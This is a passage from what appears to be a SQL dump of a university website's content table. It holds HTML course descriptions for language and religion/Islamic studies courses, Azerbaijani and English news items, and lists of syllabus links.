and speaking in\r\nKorean language.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>URDU 201: Urdu-1 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: NONE</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The aim of the course\r\nis to introduce students the fundamentals of standard Urdu, including Urdu\r\ncharacters, pronunciation, and grammar, with emphasis on all four basic\r\nlanguage skills – listening, reading, speaking and writing. In this course\r\nstudents who do not understand or speak any Urdu are expected to achieve\r\ncontrol of writing characters, basic sentence patterns, and daily conversation\r\nat basic level.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>URDU 202: Urdu-2 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: URDU 201</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Being designed as the\r\ncontinuation of the URDU 201, this course’s primary goals are maintenance of\r\nimprovement of four skills in Urdu gained in the previous course, achievement\r\nof a basic level of understanding, reading, writing and speaking in Urdu</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>FREN 201: French-1 (6 credits )</em></strong></p>\r\n<p>&nbsp;<strong><em>Prerequisite: NONE</em></strong>  </p>\r\n<p style=\"text-align:justify\">The aim of the course is to introduce students the fundamentals of standard French&nbsp;language, including French&nbsp;characters, pronunciation, and grammar, with emphasis on all four basic language skills – listening, reading, speaking and writing. In this course students who do not understand or speak any French&nbsp;are expected to achieve control of writing characters, basic sentence patterns, and daily conversation at basic level. </p>\r\n<p style=\"text-align:justify\"><strong style=\"text-align:justify\"><em><br></em></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:justify\"><em><strong>FREN 202</strong>&nbsp;: French - 2 (6 credits )</em></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:justify\"><em></em></strong><strong><em>Prerequisite: FREN&nbsp;201<br></em></strong></p><p style=\"text-align:justify\">Being designed as the continuation of the FREN&nbsp;201, this course’s primary goals are continuation of improvement of four skills in French&nbsp;gained in the previous course, achievement of a basic level of understanding, reading, writing and speaking in French.<br></p><p style=\"text-align:justify\"><strong style=\"text-align:right\"><em><strong><em><br></em></strong></em></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:right\"><em><strong><em>SPAN 201 : Spanish - 1 (6credits )</em></strong></em></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:right\"><em><strong><em></em></strong></em></strong><strong style=\"text-align:right\"><em><strong><em><strong><em>Prerequisite: NONE</em></strong></em></strong></em></strong></p><p style=\"text-align:justify\"><span style=\"text-align:right\">The aim of the course is to introduce students the fundamentals of standard Spanish&nbsp;language, including Spanish&nbsp;characters, pronunciation, and grammar, with emphasis on all four basic language skills – listening, reading, speaking and writing. In this course students who do not understand or speak any Spanish&nbsp;are expected to achieve control of writing characters, basic sentence patterns, and daily conversation at basic level.</span></p>\r\n<p style=\"text-align:justify\"><strong style=\"text-align:right\"><em><strong><em><strong style=\"text-align:justify\"><em><br></em></strong></em></strong></em></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:right\"><em><strong><em><strong style=\"text-align:justify\"><em><strong>SPAN 202</strong>&nbsp;: Spanish - 2 ( 6 credits )</em></strong></em></strong></em></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:right\"><em><strong><em><strong style=\"text-align:justify\"><em></em></strong></em></strong></em></strong><strong><em>Prerequisite: SPAN&nbsp;201</em></strong></p><p style=\"text-align:justify\"><strong><em></em></strong>Being designed as the continuation of the SPAN&nbsp;201, this course’s primary goals are continuation of improvement of four skills in Spanish&nbsp;gained in the previous course, achievement of a basic level of understanding, reading, writing and speaking in Spanish.</p>\r\n<p style=\"text-align:justify\"><strong><em><strong style=\"text-align:justify\"><em style=\"text-align:justify\"><br></em></strong></em></strong></p><p style=\"text-align:justify\"><strong><em><strong style=\"text-align:justify\"><em style=\"text-align:justify\">ITAL 201 : Italian - 1 ( 6 credits )</em></strong></em></strong></p><p style=\"text-align:justify\"><strong><em><strong style=\"text-align:justify\"><em style=\"text-align:justify\"></em></strong></em></strong><strong><em><strong><em>Prerequisite: NONE</em></strong></em></strong></p><p style=\"text-align:justify\">The aim of the course is to introduce students the fundamentals of standard Italian&nbsp;language, including Italian&nbsp;characters, pronunciation, and grammar, with emphasis on all four basic language skills – listening, reading, speaking and writing. In this course students who do not understand or speak any Italian&nbsp;are expected to achieve control of writing characters, basic sentence patterns, and daily conversation at basic level.</p><p style=\"text-align:justify\"><strong><em><strong><em><strong><em><strong><br></strong></em></strong></em></strong></em></strong></p><p style=\"text-align:justify\"><strong><em><strong><em><strong><em><strong></strong></em></strong></em></strong></em></strong><strong><em><strong><em><strong><em><strong>ITAL&nbsp;202 &nbsp;:&nbsp;Italian - 2 ( 6 credits )</strong></em></strong></em></strong></em></strong></p><p style=\"text-align:justify\"><strong><em><strong><em><strong><em><strong></strong></em></strong></em></strong></em></strong><strong><em><strong><em><strong><em><strong><strong>Prerequisite: ITAL&nbsp;&nbsp;201</strong></strong></em></strong></em></strong></em></strong></p><p style=\"text-align:justify\"><strong><em><strong><em><strong><em><strong><strong></strong></strong></em></strong></em></strong></em></strong><span style=\"text-align:right\">Being designed as the continuation of the ITAL&nbsp;201, this course’s primary goals are continuation of improvement of four skills in Italian&nbsp;&nbsp;gained in the previous course, achievement of a basic level of understanding, reading, writing and speaking in Italian.&nbsp;</span></p>\r\n<p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong><em>GERM 201 : German - 1 ( 6 credits )</em></strong></p>\r\n<p><strong><strong><em>Prerequisite: NONE</em></strong></strong></p><p><span style=\"font-style:normal\">The aim of the course is to introduce students the fundamentals of standard German language, including German characters, pronunciation, and grammar, with emphasis on all four basic language skills – listening, reading, speaking and writing. In this course students who do not understand or speak any German are expected to achieve control of writing characters, basic sentence patterns, and daily conversation at basic level.</span></p><p><span style=\"font-style:normal\"><br></span></p>\r\n<p style=\"font-weight:bold\"><em style=\"text-align:right\"><strong style=\"text-align:justify\"><em><strong>GERM&nbsp;202 : German - 2 ( 6 credits )&nbsp;</strong></em>&nbsp;<br></strong></em></p><p><strong>Prerequisite:GERM&nbsp; 201</strong></p><p>Being designed as the continuation of the GERM&nbsp;201, this course’s primary goals are continuation of improvement of four skills in German&nbsp;&nbsp;gained in the previous course, achievement of a basic level of understanding, reading, writing and speaking in German.</p>\r\n<p><br></p>\r\n<p><strong>REL 201: Introduction to World Religions (6 credits)</strong></p><p><strong></strong><strong>Prerequisite: NONE</strong></p><p>This course will analyze and discuss the place of religion in the contemporary world from the perspective of social sciences. The course will consider an interdisciplinary survey of different religious traditions. Relying on the theories and methods of comparative religious studies, the course will explore themes of similarity and difference, continuity and change, migration and indigenization. One of the purposes of the course is to gain an understanding of the cultural and historical meaning of the religions, to identify similarities and differences of thought and practice among various religious traditions, also to examine the essential beliefs, philosophies, practices and institutions of each religion with emphasis on their founding and normative principles.</p>\r\n<p><br></p><p style=\"font-weight:bold\">REL 202: History of Religions (6 credits)</p><p style=\"font-weight:bold\"><strong>Prerequisite: NONE</strong><em></em>&nbsp;</p>\r\n<p>Among other objectives, this course offers comprehensive understanding and critical studying of world religions (mainly Middle Eastern and East Asian religions as Judaism, Christianity, Islam, Hinduism, Buddhism, Confucianism, Jainism, Taoism, Shinto, Sikhism etc.); their doctrines and beliefs, worship and rituals, ethic and value systems, sacred books and scriptures; analyzing of different approaches on scholarly categorizations of the religions by contemporary scholars.</p>\r\n<p><em>&nbsp;</em></p><p><strong>REL 403: Religion and Globalization (6 credits)</strong><em></em>&nbsp;</p><p><strong>Prerequisite: consent of the instructor</strong><em></em>&nbsp;</p><p>The aim of the course is to analyze and discuss the place of religion in the contemporary world from the perspective of social sciences; to deepen and to broaden students’ appreciation for and understanding of various conceptualization of globalization” and “modernity”; the secularization theories; impacts of globalization upon religion: the erosion of local cultures, the process of glocalization, the relation between religion and identity. It will consider the global rise of religious fundamentalism in various religions as a response to globalization and modernity and seek to consider non-fundamentalist alternative concepts and theories in the scientific study of religion.</p><p>&nbsp;</p><p><strong>REL 302: Sociology of Religion (6 credits)</strong><em></em>&nbsp;</p><p><strong>Prerequisite: consent of the instructor</strong><em></em>&nbsp;</p><p style=\"text-align:justify\">This course analyzes different forms of religious knowledge and belief system, examines social aspects of religious activity, practice and experience, forms of religious belief and knowledge from the perspective of social sciences. The course aims students to be acquainted with the knowledge related to theoretical questions concerning the sociology of religion, to be aware of debates between sociologists concerning different theories for understanding religion and consequences of religion for community and society; to gain the ability to employ sociological concepts in the analysis of contemporary issues and events related to religion.</p><p>&nbsp;</p><p><strong>REL 314: Philosophy of Religion (6 credits)</strong></p><p><strong><em></em></strong><em></em><strong>Prerequisite: consent of the instructor</strong><em></em>&nbsp;</p><p style=\"text-align:justify\">This course explores the issues raised by the religious approaches in history of humanity, analyzes the main movements and problems, key arguments for and against existence of God; examines&nbsp; philosophical traditions of world civilizations from ancient to modern period through reading and discussion of selected topics as relation between religion and philosophy in the context of faith and reason, as character of religious language and experience through materials including Ancient Greece, Medieval European, Muslim, Asian and contemporary philosophers of religion.</p><p>&nbsp;</p><p><strong>ISL 210: History of Islam (6 credits)</strong><em></em>&nbsp;<em></em></p><p><strong>Prerequisite: NONE</strong><em></em>&nbsp;</p><p style=\"text-align:justify\">This course attempts to study of political, economical and cultural history of Islamic dynasties and empires from the origin of Islam to the beginning of XX. Century, focusing on the reasons of their increasing and decline; political and cultural power in the region, by using methods and means of history as a scholarly discipline. The course aims to provide students with the broad knowledge on political, social, economical, cultural, intellectual and institutional history of Islamic states and dynasties, their role in the world history.</p><p>&nbsp;</p><p><strong>ISL 312: Islamic Civilization (6 credits)</strong><em></em>&nbsp;</p><p><strong>Prerequisite: consent of the instructor</strong><em></em>&nbsp;</p><p style=\"text-align:justify\">This course will cover the most important aspects of the traditional civilization of the Muslim world from the interdisciplinary and comprehensive introduction. The course will surveys the historical development of Islamic civilization from its beginning to the later Islamic empires and their successor’s societies in the contemporary Muslim world with the emphasis on the key aspects of Islamic institutions, architecture, music, literature, visual arts. It will study the main religious, social and cultural feature that shaped the course of formation of Islamic civilization during 14 centuries.</p><p>&nbsp;</p><p><strong>ISL 208: Islamic Ethics (6 credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong><em></em>&nbsp;</p><p style=\"text-align:justify\">The main goal of the course is to examine main methods, sources, nature and aims of Islamic ethics; to analyze main questions of Islamic ethics about human nature, meaning of life, suffering and death, problem of evil from the Qur’an and Hadith through the early modern writings and to study the contemporary ethical issues such as abortion, cloning, organ transplantation under the light of classic sources. The students will be acquainted with the main theories of the prominent philosophers of Islamic ethics through readings of a range of selected materials from al-Kindi, Abu Bakr ar-Razi, Ibn Misqaweyh, Ibn Sina, Farabi, Tusi and impact of their teachings in understanding of ethic in contemporary Muslim communities.</p><p>&nbsp;</p><p><strong>ISL 314: Islamic Thought (6 credits)</strong><em></em>&nbsp;</p><p><strong>Prerequisite: consent of the instructor</strong><em></em>&nbsp;</p><p style=\"text-align:justify\">This course examines the topics on the Islamic thought within the three major schools of it:&nbsp; theology (<em>Kalam</em>), philosophy and Sufism. The course will be focusing on the main problems and questions by these schools, on their historical development and reasons; methodological differences among the schools, their influence and importance on Islamic society and communities from the origins of Islam to the contemporary period.</p><p>&nbsp;</p><p><strong>ISL 313: Islamic Philosophy (6 credits)</strong><em></em>&nbsp;</p><p><strong>Prerequisite: consent of the instructor</strong><em></em>&nbsp;</p><p style=\"text-align:justify\">This course provides students with the study of main schools, prominent scholars and main philosophical questions of Islamic philosophy. It will explore the historical development of philosophical traditions which have shaped the intellectual, social and cultural life of Muslim societies. The central focus of the course is to analyze methodological distinctions among Islamic philosophical schools through selected materials from the writings of the important representatives of these schools; to analyze the answers of these philosophers to the main questions raised on the topics related to philosophy of religion.</p><p>&nbsp;</p><p><strong>ISL 310: Sufism (6 credits)</strong><em></em>&nbsp;</p><p><strong>Prerequisite: consent of the instructor</strong><em></em>&nbsp;</p><p style=\"text-align:justify\">Main goals of the course are to introduce a survey of the origins, meaning and development of Sufism as life style, its sources based on the Qur’an, Hadith and classical literature; to investigate historical, cultural, social and political function of Sufi thought, ethics, schools and tradition in transformation of Islamic identity and society, mainly in Arab, Persian, Turkish and Urdu speaking regions; to be acquainted with the life and selected writings of prominent Sufis generally in Islamic world, particularly in Azerbaijan.</p>'),(5353,3097,'az','Dissertasiya işinin müzakirəsi keçiriləcək','2018-ci il aprel 19-u saat 12:00-da Xəzər Universiteti konfrans zalında...','<p>2018-ci il aprel 19-u saat 12:00-da Xəzər Universiteti konfrans zalında (otaq 102N) Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentinin doktorantı Şəhriyar Ağamirzə oğlu Məmmədovun “ABŞ-Azərbaycan münasibətləri: siyasi təhlil” adlı Beynəlxalq münasibətlər-5901.01- üzrə fəlsəfə doktoru elmi dərəcəsi almaq üçün təqdim etdiyi dissertasiya işinin müzakirəsi keçiriləcək.</p><p>Maraqlananlar dissertasiya ilə Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamentində tanış ola bilərlər.</p><p style=\"text-align:right\"><strong style=\"text-align:right\"><em>Magistratura, Doktorantura və Elmi İşlər bölməsi</em></strong></p>'),(2406,1459,'en','Alumni','Alumni',''),(2407,1459,'az','Məzunlar','Məzunlar',''),(2408,1460,'az','Xəzər Universitetinin əməkdaşı amerikalı tələbələrlə Mərdəkan Dendrologiyasında oldu','2016-cı il oktyabrın 23-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyat departamentinin assistenti Günel İsmayılova ingilis dilini inkişaf etdirmək üçün...','<p>2016-cı il oktyabrın 23-də Xəzər Universitetinin Azərbaycan\r\ndili və ədəbiyyat departamentinin assistenti Günel İsmayılova ingilis dilini\r\ninkişaf etdirmək üçün <em>Baku American\r\nCenter</em>-in kitabxanasına və “English Language Club”-a üzv olmuşdur. “English\r\nLanguage Club”-da ingilis dilini Amerikadan <strong><em>Fulbright</em></strong> proqramı ilə\r\nBakıya gələn əcnəbi müəllimlər tədris edir. Günel İsmayılova ingilis dilini öyrənməklə\r\nbərabər, əcnəbilərə Azərbaycanın tarixini, mədəniyyətini, incəsənətini də təbliğ\r\nedir. Bu təbliğatın nümunəsi olaraq, Azərbaycan Milli Elmlər Akademiyasının Mərdəkanda yerləşən Dendrologiya\r\nİnstitutununa <strong><em>Fulbright</em></strong> Proqramı ilə Bakıya gələn və “English Language\r\nClub”-ın üzvləri olan əcnəbi tələbələrin səfərini təşkil etmişdir. Səfər zamanı\r\nXX əsrdə Azərbaycanda yaşamış rus şairi Sergey Yeseninin ev muzeyi, eləcə də,\r\nMurtuza Muxtarovun Ev müzeyinə baş çəkmişlər. Dendrologiyanın əməkdaşları ərazinin\r\nbitki örtüyü, elədə də, tarixi haqqında qonaqlara ətraflı məlumat vermişlər. Səfər\r\nəcnəbi tələbələrin xoşuna gəlmiş və öz təəssüratlarını bölüşmüş, bu cür səfərlərin\r\ndavamlı olmasını istəmişlər.</p>'),(2409,1461,'az','KİM “Dünya” məktəbində sərgi keçirəcək','2016-cı il oktyabrın 26-sı saat 14:00-da Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin əməkdaşları “Çin guşəsi”nin layihə rəhbəri Səidə Orucova...','<p>2016-cı il oktyabrın 26-sı saat 14:00-da Xəzər\r\nUniversitetinin Kitabxana-İnformasiya Mərkəzinin əməkdaşları “Çin guşəsi”nin\r\nlayihə rəhbəri Səidə Orucova və koordinatoru Esmira Mehdiyeva “Dünya” məktəbinin\r\nşagirdləri üçün “Çin xalq oyunları və Çin kitablarının sərgisi” adlı tədbir\r\nkeçirəcəklər.</p>\r\n<p>Maraqlananlar iştirak edə bilərlər.</p>'),(1860,1145,'az','ESFIDIP Tempus layihəsi çərçivəsində məlumatlandırıcı seminar keçirildi','2016-cı il mayın 20-də Xəzər Universiteti Azərbaycan Respublikası Əmək və Əhalinin Sosial Müdafiəsi Nazirliyinin Əmək və Sosial Problemlər üzrə Elmi-Tədqiqat və Tədris Mərkəzi ilə birlikdə','<p>2016-cı il mayın 20-də Xəzər Universiteti Azərbaycan Respublikası Əmək\r\nvə Əhalinin Sosial Müdafiəsi Nazirliyinin Əmək və Sosial Problemlər üzrə Elmi-Tədqiqat\r\nvə Tədris Mərkəzi ilə birlikdə “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil\r\nmüəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi\r\nçərçivəsində məlumatlandırıcı seminar həyata keçirdi. Seminarın əsas məqsədi iştirakçılara\r\nESFİDİP layihəsi və əlilliyi olan şəxslərin təhsil almaları üçün altı ali təhsil\r\nmüəssisəsində yaradılmış “Əlilliyi olan Tələbələr üçün Mərkəz” haqqında məlumat\r\nvermək idi. Tədbirdə Əmək və Sosial Problemlər üzrə Elmi Tədqiqat və Tədris Mərkəzinin\r\nmütəxəssisləri, Xəzər Universitetinin nümayəndələri (layihə koordinatoru Rima Məmmədova,\r\nHumanitar və sosial elmlər fakülətisinin dekan müavini Mələk Kərimova və Dillər\r\nvə mədəniyyətlər departamentinin müdiri Elnurə Əzizova), Əlil Təşkilatları\r\nİttifaqının prezidenti Davud Rəhimli, digər ali təhsil müəssisələrinin (Qafqaz\r\nUniversiteti, Bakı Biznes Universiteti, Azərbaycan Kooperasiya Universiteti və\r\ns.), qeyri-hökumət təşkilatlarının və Sağlamlıq İmkanları Məhdud Gənclərin Peşə\r\nReabilitasiya Mərkəzinin nümayəndələri və əlilliyi olan tələbələr iştirak\r\nedirdilər.</p>'),(1861,1145,'en','Informational Seminar for ESFIDIP Tempus Project','On May 20, 2016, Khazar University hosted  informational seminar together with the Scientific Research and Training Center for Labor and Social Issues of the Azerbaijan Republic Ministry of Labor and Social Protection of the Population as part of the ','<p>On May 20, 2016, Khazar University hosted informational seminar   together with the Scientific Research and Training Center for Labor and\r\nSocial Issues of the Azerbaijan Republic Ministry of Labor and Social\r\nProtection of the Population as part of the “Establishment of a Foundation for\r\nthe Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS\r\nproject. The main goal of the seminar was to raise awareness about Centers for\r\nStudents with Disabilities that have been established in six higher education\r\ninstitutions as part of the ESFIDIP project. Participants at the event included\r\nexperts from the Scientific Research and Training Center for Labor and Social\r\nIssues; representatives from Khazar University (Rima Mammadova, project\r\nmanager; Melek Karimova, Assistant Dean of the School of Humanities and Social\r\nSciences; and Elnura Azizova, Head of the Department of Languages and\r\nCivilizations); Davud Rehimli, President of the Union of Disabled People\r\nOrganizations; and representatives from other higher education institutions\r\n(Qafqaz University, Baku Business University, Azerbaijan Cooperation\r\nUniversity, etc.), NGOs, and the Vocational Rehabilitation Center for Youth\r\nwith Health Challenges as well as students with disabilities.&nbsp;</p>'),(1862,1146,'az','“Amerikanın səsi” “İmagine”-dən yazdı','2016-cı il mayın 24-də “Amerikanın səsi” radiostansiyasının rəsmi internet səhifəsində Xəzər Universitetinin “İmagine” komandasının uğuru haqqında xəbər yer almışdır.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">2016-cı\r\nil mayın 24-də “Amerikanın səsi” radiostansiyasının rəsmi internet səhifəsində\r\nXəzər Universitetinin “İmagine” komandasının uğuru haqqında xəbər yer almışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Xəbəri\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.amerikaninsesi.org/a/xezer-universiteti-imagine/3343769.html\">http://www.amerikaninsesi.org/a/xezer-universiteti-imagine/3343769.html</a></p>'),(1863,1146,'en','Voice of America Writes about Imagine ','On May 24, 2016, the official Voice of America website published a news item about the recent success of Khazar University’s Imagine Team. ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nMay 24, 2016, the official Voice of America website published a news item about\r\nthe recent success of Khazar University’s Imagine Team. The full text of the\r\narticle is available at the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.amerikaninsesi.org/a/xezer-universiteti-imagine/3343769.html\">http://www.amerikaninsesi.org/a/xezer-universiteti-imagine/3343769.html</a></p>'),(867,576,'en','Syllabus','Syllabus','<h3>Spring 2018</h3><p><a href=\"http://www.khazar.org/files/languages_depart/Alman_dili_2-Sevinc_Alahverdiyeva_Humanitar.pdf\">German - 2&nbsp;-&nbsp;GERM 202</a> (Humanities and Social Sciences)</p><p><a href=\"http://www.khazar.org/files/languages_depart/Alman_dili_2-Sevinc_Alahverdiyeva_Tehsil.pdf\">German - 2 - GERM 202</a>&nbsp;(Education) <br></p><p><a href=\"http://www.khazar.org/files/languages_depart/%C3%87in_dili_2-Li_Ya.pdf\">Chinese&nbsp;-&nbsp;2 - CHIN&nbsp;202</a>  <br></p><p><a href=\"http://www.khazar.org/files/languages_depart/PERS%20-%20201%20-%20Persian%20-%201%20-%20Zivar%20Huseynli%20Baylan.pdf\"></a><a href=\"http://www.khazar.org/files/languages_depart/Persian-2.Zivar_H%C3%BCseynli(Humanitar).pdf\">Persian&nbsp;- 2&nbsp;- PERS 202</a>&nbsp;(Humanities and Social Sciences)<br></p><p><a href=\"http://www.khazar.org/files/languages_depart/PERS%20-%20201%20-%20Persian%20-%201%20-%20Zivar%20Huseynli%20Baylan.pdf\">Persian&nbsp;- 1-&nbsp;PERS&nbsp;206</a>&nbsp;(Education)</p><p><a href=\"http://www.khazar.org/files/languages_depart/Frans%C4%B1z_dili_2-V%C9%99fa_Ba%C4%9F%C4%B1rzad%C9%99.pdf\">French&nbsp;-&nbsp;2&nbsp;-&nbsp;FREN 202</a><br></p><p><a href=\"http://www.khazar.org/files/languages_depart/Italyan_dili_2-Gunay_Qas%C4%B1mova.pdf\">Italian - 2 -&nbsp;ITAL 202  </a></p><p><a href=\"http://www.khazar.org/files/languages_depart/Korean-2.Konul_Kamilzada(Muhendislik).pdf\">Korean&nbsp;-&nbsp;2 -&nbsp;KOR 202</a>  <br></p><p><a href=\"http://www.khazar.org/files/languages_depart/Fars_dili_A_qrupu_Ziv%C9%99r_H%C3%BCseynli_Baylan_(T%C9%99hsil).pdf\">Persian&nbsp;&nbsp;- A - PERS 206</a>&nbsp;(Education)<br></p><p><a href=\"http://www.khazar.org/files/languages_depart/Fars_dili_B_qrupu_Ziv%C9%99r_H%C3%BCseynli_Baylan_(T%C9%99hsil).pdf\">Persian&nbsp;&nbsp;- B - PERS 206</a>&nbsp;(Education)  </p><p><a href=\"http://www.khazar.org/files/languages_depart/Alman_dili_2_S%C9%99daq%C9%99t_Cumayeva.pdf\">German - 2 -&nbsp;GERM 202</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/T%C3%BCrk_d%C3%BCnyas%C4%B1_m%C9%99d%C9%99niyy%C9%99ti_-_Telman_N%C3%BCsr%C9%99to%C4%9Flu.pdf\">Turkic&nbsp; World Culture -&nbsp;TURK 314</a><br></p><p><a href=\"http://www.khazar.org/files/languages_depart/ispan_dili_2_Sima_mammadova.pdf\">Spanish -2 -&nbsp;SPAN\r\n202</a>  </p><p><a href=\"http://www.khazar.org/files/languages_depart/Arabic_Elvusal_Mammadov.pdf\">ARABIC - 2 - ARAB 201</a></p><p><br></p><h3>Fall 2017</h3><p><a href=\"http://www.khazar.org/files/languages_depart/ARABIC%20-%20201%20-%20Arabic%20-%201%20-%20Elvusal%20Mammadov.pdf\">ARAB - 201&nbsp;- Arabic - 1 - Elvusal Mammadov</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/FREN%20-%20201%20-%20French%20-%201%20-%20Vefa%20Bagirzade%20(%20Economics%20).pdf\">FREN - 201&nbsp;- French - 1- Vefa Baghirzade ( Economics )</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/GERM%20-%20201%20-%20German%20-%201-%20Sevinj%20Allahverdiyev%20(%20Humanities%20).pdf\">GERM - 201 - German - 1 - Sevinj Allahverdiyeva (Humanities and Social Sciences)</a></p>  <p><a href=\"http://www.khazar.org/files/languages_depart/GERM%20-%20201%20-%20German%20-%201%20-%20Sevinj%20Allahverdiyeva%20(%20Educaion%20).pdf\">GERM - 201 - German - 1 - Sevinj Allahverdiyeva (Education)</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/German%20-1%20fall%202017%20economics.pdf\">GERM - 201 - German - 1 - Sadagat Jumayeva</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/GERM%20-%20201%20-%20German%20-%201%20-%20Sevinj%20Allahverdiyeva%20(%20Engeenering%20).pdf\">GERM - 201 - German - 1 - Sevinj Allahverdiyeva ( Engineering)</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/ITAL%20-%20201%20-%20Italian%20-%201%20-%20Gunay%20Gasimova.pdf\">ITAL - 201 - Italian - 1 - Gunay Gasimova</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/PERS%20-%20201%20-%20Persian%20-%201%20-%20Zivar%20Huseynli%20Baylan.pdf\">PERS - 201 - Persian - 1- Zivar&nbsp;Huseynli Baylan&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/Islamic_Civilization_2017_Fall.pdf\">ISL - 312 - Islamic Civilization - Elnura Azizova</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/Syllabus%202017-18%20pay%C4%B1z%202.pdf\">KOR - 201 - Korean - 1- Konul Kamilzade</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/Syllabus%20eng%20bos%202017%20(00000002).pdf\">CHIN - 201 - Chinese - 1- Li Ya&nbsp;</a></p><p><br></p><p><br><br></p><p><br></p>'),(868,576,'az','Sillabuslar ','Sillabuslar ','<h3>Yaz&nbsp;2018</h3><p><a href=\"http://www.khazar.org/files/languages_depart/Alman_dili_2-Sevinc_Alahverdiyeva_Humanitar.pdf\">German - 2&nbsp;-&nbsp;GERM 202</a> (Humanities and Social Sciences)</p><p><a href=\"http://www.khazar.org/files/languages_depart/Alman_dili_2-Sevinc_Alahverdiyeva_Tehsil.pdf\">German - 2 - GERM 202</a>&nbsp;(Education) <br></p><p><a href=\"http://www.khazar.org/files/languages_depart/%C3%87in_dili_2-Li_Ya.pdf\">Chinese&nbsp;-&nbsp;2 - CHIN&nbsp;202</a>  <br></p><p><a href=\"http://www.khazar.org/files/languages_depart/Persian-2.Zivar_H%C3%BCseynli(Humanitar).pdf\">Persian&nbsp;- 2&nbsp;- PERS 202</a> (Humanities and Social Sciences)   <br></p><p><a href=\"http://www.khazar.org/files/languages_depart/PERS%20-%20201%20-%20Persian%20-%201%20-%20Zivar%20Huseynli%20Baylan.pdf\">Persian&nbsp;- 1 -&nbsp;PERS&nbsp;206</a>&nbsp;(Education)</p><p><a href=\"http://www.khazar.org/files/languages_depart/Frans%C4%B1z_dili_2-V%C9%99fa_Ba%C4%9F%C4%B1rzad%C9%99.pdf\">French&nbsp;-&nbsp;2&nbsp;-&nbsp;FREN 202</a><br></p><p><a href=\"http://www.khazar.org/files/languages_depart/Italyan_dili_2-Gunay_Qas%C4%B1mova.pdf\">Italian - 2 -&nbsp;ITAL 202  </a></p><p><a href=\"http://www.khazar.org/files/languages_depart/Koreya_dili_2-K%C3%B6n%C3%BCl_Kamilzad%C9%99.pdf\"></a><a href=\"http://www.khazar.org/files/languages_depart/Korean-2.Konul_Kamilzada(Muhendislik).pdf\">Korean&nbsp;-&nbsp;2 -&nbsp;KOR 202</a>  </p><p><a href=\"http://www.khazar.org/files/languages_depart/Fars_dili_A_qrupu_Ziv%C9%99r_H%C3%BCseynli_Baylan_(T%C9%99hsil).pdf\">Persian&nbsp;&nbsp;- A - PERS 206</a>&nbsp;(Education)  </p><p><a href=\"http://www.khazar.org/files/languages_depart/Fars_dili_A_qrupu_Ziv%C9%99r_H%C3%BCseynli_Baylan_(T%C9%99hsil).pdf\"></a><a href=\"http://www.khazar.org/files/languages_depart/Fars_dili_B_qrupu_Ziv%C9%99r_H%C3%BCseynli_Baylan_(T%C9%99hsil).pdf\">Persian&nbsp;&nbsp;-&nbsp;B&nbsp;- PERS 206</a>&nbsp;(Education)</p><p><a href=\"http://www.khazar.org/files/languages_depart/Alman_dili_2_S%C9%99daq%C9%99t_Cumayeva.pdf\">German - 2 -&nbsp;GERM 202</a></p>  <p><a href=\"http://www.khazar.org/files/languages_depart/T%C3%BCrk_d%C3%BCnyas%C4%B1_m%C9%99d%C9%99niyy%C9%99ti_-_Telman_N%C3%BCsr%C9%99to%C4%9Flu.pdf\">Türk&nbsp;Dünyası Mədəniyyəti -&nbsp;TURK 314</a>  <br></p><p><a href=\"http://www.khazar.org/files/languages_depart/ispan_dili_2_Sima_mammadova.pdf\">Spanish -2 -&nbsp;SPAN 202</a><br></p><p><a href=\"http://www.khazar.org/files/languages_depart/Arabic_Elvusal_Mammadov.pdf\">ARABIC - 2 -ARAB 201</a><br></p><p><br></p><h3>Payız 2017</h3><p><a href=\"http://www.khazar.org/files/languages_depart/ARABIC%20-%20201%20-%20Arabic%20-%201%20-%20Elvusal%20Mammadov.pdf\">ARABIC - 201 - Ərəb - dili - 1 - Elvüsal Məmmədov</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/CV-Europass-20170112-Li-EN.pdf\">CHIN - 201 -&nbsp;&nbsp;Çin - dili - 1 - Li Ya</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/ISL%20-%20312%20-%20Islamic%20Civilization.pdf\">ISL - 312 - İslam Mədəniyyəti - Elnurə Əzizova</a></p><p><a 